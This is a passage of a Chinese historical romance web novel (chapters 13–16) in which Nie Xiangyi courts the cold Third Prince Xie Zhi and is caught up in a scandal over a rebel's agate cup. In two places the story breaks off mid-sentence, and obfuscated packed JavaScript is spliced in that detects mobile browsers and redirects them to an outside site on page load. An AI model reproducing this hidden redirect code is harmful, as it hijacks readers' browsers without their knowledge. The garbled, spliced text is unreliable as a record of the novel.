行至甬道的角门之前,她忽见谢知的马车就停在这里。奴仆们正上上下下地来回忙碌,似乎是在更换马车物什。 她听到那些奴仆们的低声抱怨。 “原先每一旬才更换一次车内物件,现下可好!那个聂姑娘每坐马车一次,我们就要更换一次!” “愿她别再厚着脸皮与殿下同乘了,没得累坏了我们!” “可不是!殿下嫌着她呢,她竟也瞧不出来!” 聂相宜如遭雷击,几乎愣在了原地。 13. 第 13 章 聂相宜怏怏不乐地回了府邸,窝在被子里,将自己裹成了一只厚厚的茧。 原来谢知嫌着她。 这个认知让她难过极了,只觉下一秒就快要哭出来。 当初那盏精巧的天宫花灯仍挂在房内,夜风自窗下拂过,晃得其上细小的银铃叮铛作响,清脆悦耳。 这一刻在她心中却只觉吵闹。 她以为谢知待她是不同的。 当初他在灯会上的温润声音仿佛仍在耳边,“借此花灯以作回礼,多谢姑娘的白玉面具。” 可那似乎并非他的性情。 谢知永远是那样,虽然冷清如天边皎月,却依旧带着谦谦君子应有的礼貌与平和。即使不喜欢她,也只是悄然丢掉她的糕点,默不作声的换下车内物什。 但聂相宜觉得更难过了。 谢知明明拒绝过她,她这般死皮赖脸地黏上去,如一块牛皮糖一般,必定更惹他厌烦了。 她甚至想,如果谢知还记得她,会不会对她不一样些。会不会想当年收下面具那样,欣然收下她的糕点。 思及此,她愈发心烦意乱,索性一把用被子蒙住脑袋,被周遭沉闷的空气罩住。 “姑娘?你怎么了。”含絮见她神色不好,不由得担忧问道。 锦被里闷闷的声音带着少女隐约的哭腔,“我没事。你别问。” 一脸好几天,聂相宜都愀然不乐。未曾出门,更未曾去寻谢知。 又是一天傍晚,谢知仰头望着窗外的夕阳,云似火烧,瑰丽晚霞铺满了大半的天空。 这样美好的日暮,似乎总让人在期待些什么。 只是一切都是一如既往的安静。 “凌竹。”他开口唤道。 吱嘎一声推门的轻响,凌竹躬身入内,“殿下?” 谢知沉默了半晌,又微皱起眉头,“罢了,无事。” 凌竹略感疑惑,正欲推门而出,又听得自家殿下语滞了半分,开口问道:“聂家……这几日可有什么动静?” “不曾。”他老老实实回答道。 谢知的语气似乎噎了一下,又将话说得清楚了些,“聂相宜呢?” “这几日也未见聂姑娘出门。”凌竹语气微顿,“不知是否是受流言影响之故。” “流言?” “聂姑娘迁居别院,几日前不知是何处传开的流言,说是聂姑娘言行无状,永宜侯再难忍耐,这才命她迁居。更有甚者……明言聂姑娘已成了聂家弃女……” 说着,他的神色便迟疑起来,“若是这是聂家的谋划,属下实在有些看不清楚。顶着似是而非的弃女名头,聂姑娘只怕是议亲都成了难事。如果为了接近殿下,是否有些太过孤注一掷……” 谢知眉宇一凝,“你寻个由头,去对面宅邸打听打听。” 如此又过了一日,含絮见聂相宜依旧神色郁郁,便试探着问她,“姑娘这几日怎得不去找三殿下了?” 她这般一问,聂相宜又想起那日的事来。她瘪了瘪嘴,神色委屈地摇摇头。 见她如此神情,含絮心中有了些许猜测,“可是那玉屑糕殿下不喜欢?” 她便温言劝道:“或许是殿下不爱吃甜的呢?姑娘可别想那么多。” “何止如此!”话一开头,便再也止不住,聂相宜如同如同倒豆子般,将那日所见哗啦啦全说与含絮听了。 她眼圈通红,豆大的泪珠顺着光洁面颊滚落,看起来像一只委屈的猫,“殿下就是嫌着我呢!” 含絮这才明白过来。 她想了片刻,这才温声劝她:“殿下未必是嫌着姑娘,说不准他就是那样的性子呢!” 她一边拿出绢子为聂相宜拭泪,一边不徐不疾地说道:“姑娘细想,殿下素来冷清持重,从来也不曾听说过有女子与他同乘的。殿下命人更换车内物什,或许是为了避嫌罢了。” 见聂相宜止了泪珠,含絮想她或是听进去了,又接着劝她,“再说了。姑娘送了殿下那么多东西,殿下也并非全然都扔了。他或是只是单纯不喜食甜呢。” “你说得也有道理。”聂相宜的声音仍旧带着哭过后的瓮里瓮气,“可是我还是有些不开心……” 含絮掩唇轻笑,打趣玩笑于她,“姑娘是喜欢殿下,才会这样呢。” 聂相宜闻言脸红了红,又不肯承认了害羞,只梗着脖子故作自然,“那是当然。自我在鄯州见他第一面起,我便觉得喜欢。后来他送我那盏花灯,我便更喜欢了!” 只是说着说着,她的神情又患得患失起来,“只是他不喜欢我……甚至还忘了,我说我认错了人。” “日久生情,哪里是一朝一夕的功夫呢。” “怎么我对他是一见钟情,他对我就得是日久生情呢?” 含絮答不上来了。 她见聂相宜有些钻牛角尖的架势,索性笑着说道:“姑娘快别想那么多了!总闷在院子里,别是闷坏了!不如咱们上街逛逛?听说青琅斋新制了不少首饰,上次姑娘的蝴蝶小钗掉了,正好买些新的。” 见聂相宜点头,她便欢喜命人准备马车去了。 青琅斋是京城最大的首饰铺子,琳琅满目的金银玉器目不暇接,几乎是贵妇世女必临之地。乃至闻名宫中,连公主嫔妃用其御用特供。 聂相宜逛了一圈,极是畅快地买下不少珠宝首饰,这才稍稍纾解郁结。 跟在她身后的伙计见她出手阔绰,忙不迭地向她介绍,“姑娘可要看看这紫玉狐狸簪?是由一整块紫玉雕刻而成,无纹无裂,色泽均匀,极衬姑娘的肤色呢!” 她的目光顺着他落在一枚紫玉簪子上。 那莹润生光的紫玉被雕成狐狸贪睡的模样,是十分少见的样式,新奇独特,却又不失生动可爱。 聂相宜心念一动,露出几分喜欢的神色来,正欲开口买下。 “掌柜的,把这簪子给我包起来。”一个有些熟悉的声音抢了先。 聂相宜皱着眉头不耐转头,她倒要看看是谁与她抢这簪子。 “怎么又是你!” “聂……聂姑娘!”王贺璋一见是她,不由得也瞪大了眼睛,一张白皙的面庞瞬间红到了脖子根,“你怎么在这里?” “这话应该我问你才对吧!这里大多是女儿家买珠宝首饰,你来干什么?”聂相宜叉着腰气鼓鼓地瞪着王五郎,“上次跟我抢书,这次又来跟我抢簪子!” “谁跟你抢了!”王贺璋有些不服气,“我也正看这簪子呢!” 只见他旁边躬身也站着一伙计,似乎是正为他介绍这簪子的模样。见两人恰巧看上了同一件,忙赔笑着道歉。 聂相宜不耐地瘪嘴,“每次想买东西都撞上你,偏每次都与我选上同一样,我看你就是故意的!” 王贺璋因她这话似乎脸更加红了些,声音也低微了许多,“这只能说明我俩眼光相同,志趣相投……” “你说什么?”聂相宜没太听清,只问,“你一个男儿家,买这女子样式的玉簪做什么?” “舍妹生辰临近,我想为她挑件贺礼。” 聂相宜见他是为妹妹挑选生辰贺礼,便失了与他争抢的念头。 只撇了撇嘴,只兴致缺缺地摆手说道:“罢了罢了。我今日心情不好,懒得与你争执一番。那簪子我不要了。” 说着她转头便与含絮一同出去。 “欸!”王贺璋急匆匆付了银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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各式各样的新鲜玩意让聂相宜几乎目不暇接,掩面交易的神秘更是为之增添了几分莫名的兴奋。她压低了声音,惊喜地问王贺璋,“你上哪儿找到地这般地方?” 王贺璋颇为自得,“我就知道你会喜欢这些。” 聂相宜兴奋地点了点头,“不枉我将那枚簪子让与你!” 如此闲逛一番,聂相宜忽地被一盏缠丝玛瑙杯吸引去了目光。 那一看便是波斯来的玛瑙,颜色极是好看,且工艺不凡,十分精美。 聂相宜学着他们交易的样子,闷头不语,只在袖中比着手势,与那摊主买下这盏玛瑙杯。 直到深夜回去,她仍有些恋恋不舍,“下次开市,你可记得带上我!” 看着她那双充满期待的眼睛,王贺璋只觉脸上热烫不已,重重点了点头。 这厢,谢知下值时已是深夜时分,神策司门前空无一人。 他的目光不自觉地落在街角,说不清自己在期待些什么。 “殿下,今日我借着还食盒的由头,去了一趟对面宅邸打听。只是听说今日聂姑娘出门闲逛去了。” 马车内的谢知淡淡嗯了一声,再未回话。 及近府邸,谢知正欲下车,少女轻快明亮的声音突兀地传到他的耳边。 却不是在叫他。 “王五郎!”声音热切又活泼。 他撩开帷裳一角,冷眼看着聂相宜下了王五郎的马车。 夜色中的她欢快地朝王五郎挥了挥手,似是依依惜别,“下次记得叫我哦!” 谢知无端冷笑一声。 14. 第 14 章 聂相宜没等来王五郎的再次相邀,倒是等来了鬼市被莫名查抄的消息。 “姑娘!不好了姑娘!”这日含絮气喘吁吁奔进院中,神色慌张。 “奴婢听说昨日夜间,城北鬼市被神策卫查抄了个彻底,是凌竹大人亲自带的人去。” 春日阳光融融,彼时聂相宜捧了一盏八宝茶,在院中晒太阳。 她正苦恼谢知喜欢什么口味的吃食,乍听了这话不由得心下一惊,“什么?神策卫?” 她瞪大了眼睛,“向来京中街市摊贩,不都是由五城兵马司管束的么?怎么惊动神策卫了?” “听说……似乎跟晋王叛党有关……”含絮想了想,将见闻一一诉诸,“前些日子神策司不知在勾阑抓了好些叛党吗?据说他们供述了在鬼市倒卖晋王昔年旧物,用以充作谋逆资金。” 聂相宜这才了然地点点头,若是涉及晋王叛党,那由神策司出面便不出为奇了。 要知道,当年晋王与今圣争夺皇位,几乎已成兵戎相见之势。而后今圣登基,清洗朝中晋王余党,以致庙堂人人提起晋王不由人人自危。 而当年的大清洗,皆是经由神策司的手。 说起来,上一任神策司指挥使,还是聂相宜的舅父。 聂相宜惋惜地摇了摇头,只是可惜了那鬼市,她刚得了趣味,就这般没了。 “真是可惜。” “姑娘快别可惜了!”含絮急急说道,“据那叛党供述,他卖出了一枚玛瑙杯,乃是晋王昔年所得的御赐之物!” 聂相宜端着茶盏的手一僵,“什、什么?” 她想起日前在鬼市上买的那盏缠丝玛瑙杯来,一双猫似的眼睛如同受惊一般,顿时瞪得像铜铃。她犹豫不定地说道:“不会有这般巧吧!” “凌竹大人正派神策司仔细盘查呢!”含絮忙不迭说道,神色已带了慌忙之意,“只说是那枚玛瑙杯卖给了一个姑娘!” 聂相宜这下彻底慌了神。 怎么看,怎么都觉得那玛瑙杯就是被自己买去的那一只。 这事本就可大可小。说穿了,她到底不知情。 可偏偏事涉今圣最忌讳的晋王,若真让人知道她买下逆党之物,给她扣上一顶逆党同谋的帽子,只怕害了自己不说,还会牵连外祖。 她不由得来回踱步起来,又是惊慌,又是气恼。 “该怎么办呀!虽说戴着幕篱认不出来,可他们神策司手段可多着呢!” “你说怎么这么巧!偏偏让我给赶上了!我不过是买点玩意儿罢了!” 含絮探着头问道:“要不趁天黑了,奴婢悄悄把它丢出去?” 聂相宜一张白净小脸都皱巴到一起,“你以为神策司的训犬是白吃干饭的吗……” 如此思来想去,聂相宜也未曾想到什么妥善处理那玛瑙杯的办法。以至于辗转反侧,直至深夜也难以入眠。 好不容易迷迷糊糊睡过去,她梦里却见自己正在神策司受刑。 梦中的谢知依旧冷清淡漠,高坐庙堂之上,冷眼指挥神策卫打她板子。 吓得聂相宜一身冷汗,当场便醒了过来。 梦醒的她双眸在黑暗中眼神炯炯,坚定说道:“我要去找殿下!” 原本迷迷糊糊的含絮听了这话还以为是她睡糊涂了,“姑娘岂不是自投罗网!” “与其让神策卫自己找上门来百口莫辩,不如先去寻了殿下说个清楚!” 含絮想她说得也算有理,正欲哄她睡下,明日去找三殿下坦白。却不曾想她一个鲤鱼打挺从床上起身,换了衣物。 “已是亥时末了!天色已晚,姑娘不若明天再去!” “你傻呀!” 聂相宜一边随意挽上一个发髻,一边煞有介事说道,“我若白天前去,叫人撞见不是正好给我拿个正着?更有甚者,若是再让人议论三殿下包庇逆党怎么办?” 说着她便嘟哝道:“我可挨不到明天晚上去!这东西多在我府上待一秒,我都觉得它随时会炸开!” “可是眼下已是深夜……” “无事,说不定殿下才下值回来不久呢。” 聂相宜小心翼翼地将那玛瑙杯用黑布里三层外三层地裹上,兜在袖口里系紧了,这才趁着月色,鬼鬼祟祟地出门。 果然如她所料,谢知此刻还并未歇下。 窗下的人影如竹清俊,羽睫微垂。似乎听到了她翻身进院的动静,这才抬起了头。 聂相宜本就心虚,乍然与他漆黑眼眸对视,更不知道如何开口了。 她脸上扬起点干巴巴的笑意,结结巴巴地佯做寒暄,“殿下……这么晚了还没歇下啊……” 不知是否是她她翻这院墙已经熟门熟路,谢知并不意外她的到来。只开门见山地问道:“何事?” 聂相宜觉得那双深邃的眼几乎要将她看穿。 她鬼鬼祟祟地左右打探两眼,见四下无人,仍是不太放心。只能转头望向谢知,“殿下,事关重大,让我进去说罢。” 见谢知并不应声,她双手合十,眉头微皱,露出一副祈求的可怜样来,“求你了殿下!真的事关重大!” 谢知语滞片刻,又不由皱眉。她惯会这般撒娇撒痴的手段。 谢知似乎没了脾气,“罢了,随你。” 聂相宜闻言一喜,说着便想似上次一般翻窗进去。只是她刚探了颗头进去,一只大手便抵住了她的额头。 他的指尖犹自带着深夜的冰凉意味,贴在额头让她不由得轻轻一颤。 她顺着谢知白玉指尖看去,疑惑眨眼,“殿下?” 不是已经允她进屋了吗? 谢知神色不豫地斥她,“走正门!” “哦……”聂相宜乖乖从绕去正门。 奇怪的是今日谢知门外并无人值守,连凌竹大人也并不在此,周遭都静悄悄的。 她轻轻推开门,进屋后又蹑手蹑脚地将门合上,还探着头左右张望一眼,生怕弄出了什么声响让旁人发觉似的。 倒像是来做别的什么事一般。谢知不由得皱眉。 聂相宜踱着碎步走近他,神色犹豫许久,也不知该如何开口。 她索性从袖中掏出那黑布包裹来,又里三层外三层地揭开,小心翼翼地递到谢知面前,“殿下,这个……” 一边说着,她一边觑着眼偷偷打量谢知面上的神色。 谢知感受到她偷瞄的视线,刚与她目光相撞,她又慌乱地将视线移开,一双黑亮的瞳仁胡乱地转。 就差把心虚写在脸上了。 他唇角不自觉轻轻扬起一个细小的弧度,又很快抿了下去,只问,“此物是从何处得来?” 聂相宜见他似乎对这玛瑙杯的出现并不意外,只能垂着头老老实实回答他,“城北鬼市上买的。” 说着便自言自语嘟囔起来,“我只是玩个新鲜,看这玛瑙杯精致。谁知道它来历这般骇人……” 像是怕谢 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她仍怕谢知误会王五郎是叛党,又忙不迭补充道:“但玛瑙杯是我自己买的,跟他没关系的!” 谢知的声音依旧平静而沉冷,带着莫名的疏离之气,“他为何会带你去鬼市?” 聂相宜不再敢撒谎,回答得一板一眼,“他见我心情不佳,便说带我去找些乐子。” 心情不佳?他敛眉看着聂相宜垂头的畏缩模样。这就是她几日前未曾来寻他的原因? 怎得偏就王五郎便知道她心情不佳? “你们倒是熟络。” 谢知没由来地冷哼了一声,“那你又来找我做什么?” 聂相宜噎了一下,总觉得他在明知故问。 这玛瑙杯都明晃晃地放在他眼前了,她总不能是来献宝的吧! 她瘪着嘴揉搓衣角,声音也软软的没什么底气,“我想让殿下信我嘛……我本不知情的。” 她这副垂头丧气的模样好似一只面临抛弃的委屈小猫,连神色也变得忐忑。 她总是这样。 谢知的目光在她面前凝了片刻,几乎要怀疑,太子派来的人,至于蠢到这般几近天真的地步吗? 他似是无可奈地轻叹一声,只说道,“罢了,你且回去吧。” 见他态度不明,聂相宜犹豫又试探地问他:“那这玛瑙杯?” “怎么?你还舍不得?” “没有没有!”聂相宜忙摆手否定。 转头这才后知后觉明白过来这是他愿意帮她了,她眼眸瞬间亮起,在夜色烛火之下熠熠生辉。 “多谢殿下!”她像是吃了一颗定心丸,脸上扬起的笑容真挚又明艳,“我就知道殿下明察秋毫!一定会相信我的!” 那般欢快模样,险些让人觉得她下一秒便要原地转起圈来。 谢知下颌微微紧绷,“你再大声些,就要将神策卫招来了。” 她听了这话忙去捂自己的嘴,只是那欢快之色依旧掩饰不住地从眼眸溢出。 她正欲离去,似乎又像是想起了什么。 谢知听到她用气声唤自己,“殿下!” 他抬眸望去,见她一双圆溜的眼睛轻快又明亮,好似星辰。 她的声音轻得像春日里的云朵,“殿下喜欢什么口味的吃食?我明日再给殿下送来!” 15. 第 15 章 不出意外的,聂相宜并未得到谢知的任何回答。 她倒是也并不气馁,自那日含絮劝说之后,她自己便也想通不少。 反正三殿下便是这样冷清的性子,拒人于千里之外也是常事。左右她近水楼台,总能日久生情,打动一二的。 如此想着,她便又劲头十足起来! 殿下既不说喜欢什么,她便一个个试!总能找到他喜欢的! 只是可惜,她唯一拿手的便是那玉屑糕,旁的什么也不会,只能让厨房嬷嬷一点点教她。 这日里她正学着做香药酿藕,偶然听得含絮提起,过几日便是京城庙会。 “奴婢听闻,花神庙会热闹非凡,还有烟花呢!” “是吗!那咱们到时候也去看看!” 她正兴致勃勃,却听得外头下人通报,说是二小姐过来了。 “哪家的二小姐?”聂相宜疑惑抬眉,这府里哪来什么二小姐? 不过转瞬她便明白过来,“是聂元苇?她来做什么?” 无事不登三宝殿,聂相宜想到她与她母亲那张相似的柔弱面颊,便平生厌烦。 她不耐摆了摆沾满香药的手,“让她回去吧。我可没空见她!” 通传的门房神色有些犹豫,“可二小姐说……是有要事相见……” 含絮见状便上前低声劝道:“二姑娘最会拿乔,眼下一直站在门外候着。姑娘若不允她进来,若让人看见,只怕又叫人议论姑娘欺负她了。” “由着她去呗。”聂相宜毫不在意地嗤了一声,“反正累的不是我。” “可是这几日殿下快下值了……” 听得这话,聂相宜瞬间垮了脸,“真是个烦人精!惯会做出一副乖顺的委屈样子!难不成还想让殿下也觉得我欺负了她?算了算了!让她进来吧!” 说着,她一边小心翼翼将做好的香药酿藕放入锅中。 聂元苇在她别院前候了半天,这才有下人前来相迎。 她好歹也是侯府小姐,虽说侯府如今不济,可也未曾受过这般冷待。 虽说心下不悦,只是当下她也未曾说些什么,温和一笑置之便罢了。 打正门进入,聂元苇才发现这里名为别院,实则轩敞精致竟不输侯府。小桥流水,假山顽石,白鹤引颈,孔雀展屏,极是奢华。 不像是被被逼无奈迁居的,倒像是来安逸享乐的。 令她更没想到的是,下人并未引她进入主屋,反倒是去了偏角的厨房。 油烟之气让她不由得秀眉微皱。 入内一看,却发现这些下人并非存心刁难,而是聂相宜正于厨房忙碌。 她系着襻膊,纤纤素手沾满香药,似是连下厨都亲力亲为的模样。 原来外头的那些陈设布置,也不过是中看不中用的花架子。她迁居别院的日子,想来也并不好过吧。 这个认知让她心中无端升起丝隐秘的轻松与得意。 只是她面上依旧含了恰到好处的担忧之色,“长姐怎得自己动起手来了!这别院的下人也太不济事了!” 聂相宜一见了她便直皱眉头,没好气地说道:“有话便说!没看我忙着呢!” “长姐真是可怜。”聂元苇望着她的眼神体贴又怜悯,充满了居高临下的优越之感。 她温声说道:“这般辛苦,不若我回去禀报了父亲,让他再派些人手过来。” 见她仍是絮絮叨叨,聂相宜不耐烦地啧了一声,“你烦不烦啊!有事说事,没事一边呆着去!” 聂元苇神色怯怯,欲言又止,像是生怕戳到聂相宜痛处一般。 “不知长姐可听闻了坊间的闲言碎语……” 此时聂相宜在嬷嬷指点之下,刚将那香药酿藕从锅内取出。锅内烫的她龇牙咧嘴地直甩手。 也不知道她有没有在听。 聂元苇只得自顾自地说道:“虽说长姐迁居别院,可父亲和母亲心中是念着长姐的。不过是囿于风水之说,这才让长姐暂居此处。姊妹家同气连枝,虽说外头有些传言,长姐可千万不能往心里去。” 好一番冠冕堂皇的说辞。 “还在我面前装起来了。”聂相宜嗤了一声,乜她一眼,“你们是不是觉得,我聂相宜是个大傻子啊?” 此事若是侯府有心遮掩,根本算不上什么大事。更遑论闹得人尽皆知。 不过是有人存心罢了。 “长姐何苦将气撒在我身上。”聂元苇被她刺得语气一滞,只当她是被气着了发脾气。 她抿了抿唇,露出一贯的委屈表情来,“长姐若实在想不过,不如去求一求母亲,替长姐想想办法。总比自己在这里下厨的好呢。” 这般阴阳怪气,生怕别人听不出她是耀武扬威来了。 “我去求她?”聂相宜像是听了个什么天大的笑话,“今日我便把话放在这儿,纵使来日江云娥上门来求我回聂府,我也不会多看她一眼。” 聂元苇见她如此嚣张跋扈,大言不惭,不由得变了变脸色。 “看来长姐,是打定主意要做这聂家弃女了?” 顶着这个名头一天,聂相宜就绝不可能高嫁。 她倒要看看,聂相宜有几分硬气。 聂相宜闻言不过冷笑一声,“那你不妨先猜猜,我外祖下次回京,会不会因此震怒。” 聂元苇一怔,而后暗自咬了咬牙。 她忘了,这才是她最大的倚仗,安西大将军。 不过鄯州鞭长莫及,来日方长,她们总有机会的。 聂元苇不再言语。 恰在此时,含絮附在聂相宜耳边低声说道,“姑娘,殿下回来了。” 聂相宜眼睛瞬间明亮起来,哪里还顾得上聂元苇。 她忙净了手,自顾自将那香药酿藕装进食盒,正欲出门,见聂元苇仍站在原地,只嫌恶地打量聂元苇两眼。 “你与你母亲那些心思,少往我面前晃。” 她语气中带着隐约的威胁之意,“否则,下次可就是毒蛇了。” 说罢便不再管她,带上食盒自顾自出门去了。 聂元苇闻言顿时瞪大了眼睛,果然是她! 那古怪的闹蛇哪就这般凑巧!她竟这般大胆!肆意妄为! 她深深吸了一口气,不远不近地跟在聂相宜身后,与她一同出了府门。 她见聂相宜在门前翘首相盼,像是在等人的模样。 “长姐,我先告辞了。”她也不管聂相宜并未看她,只在外人面前将礼数做得周全。 旋即便上了聂府马车,正欲离去。 却忽而听得身边的丫鬟低声对她说道:“姑娘快看!大姑娘等的人,似乎是三殿下?” 聂元苇闻得此言不由得心头一惊,撩开马车帷裳瞧了一眼。 只见通体漆黑的四驾马车停在对面宅邸的门口,其间缓缓走下一人,丰神俊朗,神清骨秀。 而聂相宜一见了他,欢快迎了上去,微风掀起她的裙角,好似春日里一只翩跹蝴蝶。 “对面所居,竟是三殿下?”聂元苇语气难掩震惊之色。 她言语微微一凝,像是为聂相宜着想似的,“这也太不妥。孤男寡女相对而居,若是传出去,只怕是于长姐名声有碍。母亲怎得为长姐挑了这处别院?” “这些年侯府不济,京中别院只剩这一处了,原也不是在夫人名下,只怕夫人也不甚清楚……” 丫鬟有些迟疑,“大姑娘……不会暗通款曲吧……” 聂元苇顿时冷了脸,“你将三殿下想做什么人了?他那般孤洁的人,岂会理会聂相宜那个刁蛮草包?” 她手中攥紧了帷裳,紧紧盯着不远处的聂相宜。 看她对着三殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059432|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出热切又期待的表情,有如怀春少女,将心思都写在了脸上, “殿下,我今日做了香药酿藕!不知道殿下喜不喜欢!” 而对面的三殿下依旧是一贯冰冷孤高的神态,冷言拒绝,“不喜欢。” 聂元苇这才像是松了一口气般,放下了马车的帷裳,“母亲一番算计,倒让长姐捡了便宜。瞧!当真是乐不思蜀了。” 方才聂相宜被拒绝后略带黯然的神色让她莫名觉得愉悦。她扬唇轻笑,“只可惜,三殿下不领情呢。” 于是她吩咐丫鬟,“咱们回去吧。” 后又意味深长地嘱咐一句,“可千万不要让外人知晓此事啊。” 马车就此启程离去。 被谢知这般直接拒绝,聂相宜却也不恼,只是瘪着嘴低声嘟哝,“没尝过怎知不喜欢……” 她将食盒递至谢知面前,眼神期待,“殿下试试吧!我新学的呢!” 那双如葱白手指握住食盒,圆润指腹露出一丝不正常的殷红颜色来,像是被烫过一般。 谢知皱了皱眉。 罢了,他也不是不知道,她惯会撒娇痴缠。 “以后不必如此。”谢知声音冷硬,“这是最后一次。” 聂相宜撇了撇嘴,低低哦了一声,似是乖巧应了。 然而她心中却想,最后一次送香药酿藕,下次送别的就好啦! 她简直要为自己的聪明所折服。 见谢知欲转身回府,她又像是想起什么,不由得开口问道:“殿下!几日后城东庙会,殿下会去吗?听说很是热闹呢。” “庙会?” 聂相宜的脸颊红扑扑的,眼眸闪烁着期待的微光,“我听说京城庙会的烟花极是漂亮,我……我想邀殿下同观……” “我看起来很闲吗?”谢知声音冰冷地拒绝,“没空。” 一早猜到他会拒绝,聂相宜急急说道,“我可以等殿下下值的!” 谢知并未理会她,只是转身进府。身后少女的声音仍旧不曾气馁, “我在城东的观月楼等殿下!” 聂相宜回到府上,心情却有些忐忑,“这是我第一次做香药酿藕,也不知道味道如何,若是不好吃可怎么好?” “姑娘方才没尝过?” “方才聂元苇来耀武扬威了一通!我没顾得上!”聂相宜露出追悔莫及的忿忿神色。 “也不知道殿下是像那玉屑糕一样倒掉,还是将它吃了。我好想去瞧瞧!”聂相宜说着便在屋内踯躅起来,“可是眼下天色未黑,一定会被人发现的!” 如此想着,她心中不觉矛盾起来。 又怕他不吃冷待了自己心意,又怕他吃了却觉味道不佳。 含絮只能安抚道:“姑娘玉屑糕都做得那般好吃,那香药酿藕也不会差的!” “说的也是。”聂相宜跟着点点头。 这厢凌竹跟在谢知身后入府,看着手中的食盒,却有些拿不定主意,“殿下,这吃食……” 还是如往常一般倒掉?可若是如此,殿下又何必多此一举收下它? 凌竹想不明白。 谢知睨了一眼那精致食盒,本想命他照旧。 只是他脑中却无端浮现出聂相宜那被烫红的指尖来,她不曾提及,也不曾抱怨,只是满怀欣喜地将这小食送至他的面前。 谢知眉心微敛,只吩咐道:“放那儿吧。” 凌竹应声退下。 书卷在手,谢知却总觉似有栀子清香缠绕,扰人安宁。 他看着那碟香药酿藕,鬼使神差地拿起了筷子。 短暂的藕香之后,一股又酸又苦的味道直冲脑门,几欲令人眩晕。 饶是谢知向来云淡风轻,也不由得皱紧了眉头。 “凌竹。”他唤道。 “你来探探这里面有没有毒。” 16. 第 16 章 庙会当日,聂相宜特意精致打扮了一番。 额贴金箔,唇点朱色,一袭石蕊色石榴长裙衬得她肤白胜雪,极是明艳动人。 花神庙会京城热闹的节庆。许多人家都会在这天前往花神庙许愿,听说很是灵验。 这天不仅有社火杂耍,还有集市圩场,绵延数街不止。夜间更有烟火盛放,绚烂星空。 聂相宜记得,她小时候便随母亲去过花神庙会。只是那记忆太过遥远,连她自己都觉得有些模糊。 鄯州乃边关之地,是没有这般热闹庙会的。 她满心期待地到了城东的花神庙,时辰尚早,这里便早已人头攒动,摩肩接踵。 花神树上系着密密麻麻的信物,有手绢,有香囊,有发带,是人们带着期许,许下的一个又一个的愿望。 春风拂过,树上信物叮咚作响,如同一个盛大的风铃,又好似永不凋谢的花瓣。 聂相宜看着那些新旧交替的信物,“母亲当年肯定也许下了愿望!只是不知道她许下的什么愿望,也不知道她留下了什么信物……” “姑娘这是想夫人了。”含絮看着她略带怅惘的神色,温声哄道,“年年岁岁花相似,不如姑娘自己也许个愿吧!” 聂相宜想了想,从怀中取出一枚玉坠来以作信物,闭目十分虔诚的许下愿望。 她正欲将玉坠往花神树上挂,却发现周围的枝桠上都挂满了信物,竟无半点空当。 围着花神树转了一圈,她终于瞥见一束稍高的枝条。 于是她踮起脚,伸着手努力将玉坠往那枝条上挂。 就在那双葱白的手即将触到高处的枝条时,身后突然一只大手出现,轻松在那处挂上一个荷包。 “你长没长眼睛!没看这是我先挂的吗!”聂相宜气得转过头去,狠狠骂了身后那不讲理的人一句。 只是看清来人之后,她顿时瞪大了眼睛,气不打一处来,“怎么老是你!” 又是王贺璋! “上上次是书,上次是簪子,这次我挂个信物你也要与我抢地盘!”聂相宜气鼓鼓地瞪着他,“你是不是故意的!” 王贺璋总是一副脸红模样,眼神飘忽,“你……你挂旁边不就好了……” 他挂的荷包旁边仍有空当,刚好够聂相宜挂上。 聂相宜见状重重地哼了一声,颐指气使道:“把你的荷包往里挪挪!我要挂树梢尖尖!” 王贺璋忙伸手将荷包往里挪了些,又问:“我帮你挂?” “才用不着你帮忙!我自己能行!”聂相宜一扬头,复又踮起了脚。 花神树下,少女仰着脸,露出一截玉藕似的手臂来。她努力踮起脚,神色认真而倔强,费劲地将那玉坠往树梢尖上挂。 半晌之后,她悻悻收回了手,“算了,那你帮我挂吧。” 王贺璋闻言忙接过那玉坠,郑重其事地挂上了树梢。 看着那相隔极近的两枚信物,王贺璋清俊的脸颊浮上一层淡淡的红晕。 “聂姑娘!”他见聂相宜转身欲走,忙跟上前去叫住了她,脸颊泛红,“姑娘晚间可要去观赏焰火?我在观月楼定了位置。” 聂相宜眨着眼摇头,“我已经约了人了。” 王贺璋神色略显失落。他不由得想起近日里偶闻的坊间传闻来,也不知是从何处传出,聂家大姑娘痴缠三殿下的妄言。 他小心翼翼地问道:“是三殿下么?” “你从何而知?”聂相宜眉宇很是不满地一拧,却并未否认。 王贺璋神情微黯,没有直接回答她的问题,只满脸真诚地说道:“姑娘或许难以等到殿下。” “你这是何意?” “每逢年节,神策司必然忙碌。三殿下会亲率神策卫,巡逻上下。即使除夕元宵,也不例外。” 聂相宜好奇歪头,“宵禁巡逻,不也是五城兵马司的职责?动用神策卫,岂非大材小用?” 上回神策卫查封鬼市,便已然十分稀奇了。 王贺璋却摇摇头,“晋王余孽作乱不止,最喜在这般人多拥挤时候犯事。神策卫必得时刻待命,震慑上下。” 聂相宜瘪了瘪嘴,又很快打起气来,“无妨!我会等着殿下的!” 见她坚持,王贺璋也不好再多说些什么。 只是他仍不肯放弃。只听得他语气一顿,望着聂相宜饱满的脸颊,“不看焰火也就罢了。左右时间还早,我听说廊桥那里集市很是热闹,卖什么的都有,聂姑娘不如与我同去逛逛?” 聂相宜这才来了兴致,“好啊!那走吧!” 廊桥靠近城东的城墙,横跨护城河。每每年节,这里总有夜集,占据整个桥面。 桥上灯火通明,映照夜间河水波光粼粼,自成一景。 眼下虽未天黑,但各处摊贩毕至,花鸟鱼虫、绫罗珠玉,总是让人目不暇接。 